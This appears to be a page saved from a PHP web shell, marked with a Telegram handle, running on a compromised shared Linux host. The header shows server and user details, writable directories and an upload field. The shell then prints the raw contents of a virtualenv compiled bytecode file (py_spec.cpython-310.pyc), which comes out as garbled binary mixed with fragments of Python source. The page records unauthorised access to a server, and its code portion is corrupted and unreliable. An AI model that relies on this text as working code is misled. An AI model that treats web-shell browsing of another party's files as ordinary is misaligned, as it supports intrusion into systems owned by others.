https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/virtualenv/discovery/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/virtualenv/discovery/__pycache__/py_spec.cpython-310.pyc
o

$�"b��@sxdZddlmZmZddlZddlZddlZddlmZddl	m
Z
ddlmZe�
d�ZejdkZGd	d
�d
e�ZdS)zMA Python specification is an abstract requirement definition of a interpreter�)�absolute_import�unicode_literalsN)�OrderedDict)�fs_is_case_sensitive)�
ensure_strz@^(?P<impl>[a-zA-Z]+)?(?P<version>[0-9.]+)?(?:-(?P<arch>32|64))?$�win32c@sPeZdZdZdd�Zedd��Zdd�Zedd	��Z	d
d�Z
dd
�Zdd�ZdS)�
PythonSpecz1Contains specification about a Python InterpretercCs.||_||_||_||_||_||_||_dS�N)�str_spec�implementation�major�minor�micro�architecture�path)�selfr
rrr
rrr�r�>/usr/lib/python3/dist-packages/virtualenv/discovery/py_spec.py�__init__s
zPythonSpec.__init__cCsLd\}}}}}}tj�|�r|}n�d}t�t|�}	|	r�dd�}
z[|	��}|d}|durwtdd�|�d�D��}
t	|
�d	kr@t
�t	|
�d	krL|
\}}}n+t	|
�d
krW|
\}}n t	|
�dkrw|
d}tt|�d�}|d
krwtt|�dd��}d}Wn	t
y�Ynw|d}|dks�|dkr�d}|
|d�}|s�|}||||||||�S)N)NNNNNNFcSs|durdSt|�Sr	��int)�valrrr�_int_or_none&sz1PythonSpec.from_string_spec.<locals>._int_or_none�versioncss�|]	}|rt|�VqdSr	r��.0�irrr�	<genexpr>-s�z.PythonSpec.from_string_spec.<locals>.<genexpr>�.���r�	T�impl�py�python�CPython�arch)
�osr�isabs�re�match�PATTERN�	groupdict�tuple�split�len�
ValueErrorr�str)�cls�string_specr#rr
rr'r�okr+r�groupsr�versions�version_datarrr�from_string_specsD
�zPythonSpec.from_string_specc	cs��t�}|jrd||j<t�rd||j��<d||j��<d|d<|j|j|jf}z|d|�d��}Wn	t	y=Ynw|�
�D](\}}tt|�dd�D]}|d|�}d�
|d�dd	�|D���}||fVqNqBdS)
NFTr%���rz{}{}rcss�|]}t|�VqdSr	)r2rrrrrZs�z,PythonSpec.generate_names.<locals>.<genexpr>)rrr�lower�upperrr
r�indexr1�items�ranger0�format�join)r�implsrr#r+�at�cur_ver�specrrr�generate_namesGs*�
���zPythonSpec.generate_namescCs|jduotj�|j�Sr	)rr(r)�rrrr�is_abs]szPythonSpec.is_abscCs�|jr|jr|j|jkrdS|jdur|j��|j��krdS|jdur,|j|jkr,dSt|j|j|jf|j|j|jf�D]\}}|durP|durP||krPdSq=dS)z\called when there's a candidate metadata spec to see if compatible - e.g. PEP-514 on WindowsFNT)	rHrrr;r�ziprr
r)rrE�our�reqrrr�	satisfiesas*�zPythonSpec.satisfiescs&d�t��jd��fdd�dD���S)Nz{}({})z, c3s0�|]}t�|�durd�|t�|��VqdS)Nz{}={})�getattrr@)r�krGrrrrs���z)PythonSpec.__unicode__.<locals>.<genexpr>)rrr
rrr)r@�type�__name__rArGrrGr�__unicode__os��zPythonSpec.__unicode__cCst|���Sr	)rrQrGrrr�__repr__yszPythonSpec.__repr__N)
rP�
__module__�__qualname__�__doc__r�classmethodr9rF�propertyrHrLrQrRrrrrrs	
*

r)rU�
__future__rrr(r*�sys�collectionsr�virtualenv.infor�virtualenv.util.sixr�compiler,�platform�IS_WIN�objectrrrrr�<module>s



https://t.me/RX1948 - 2025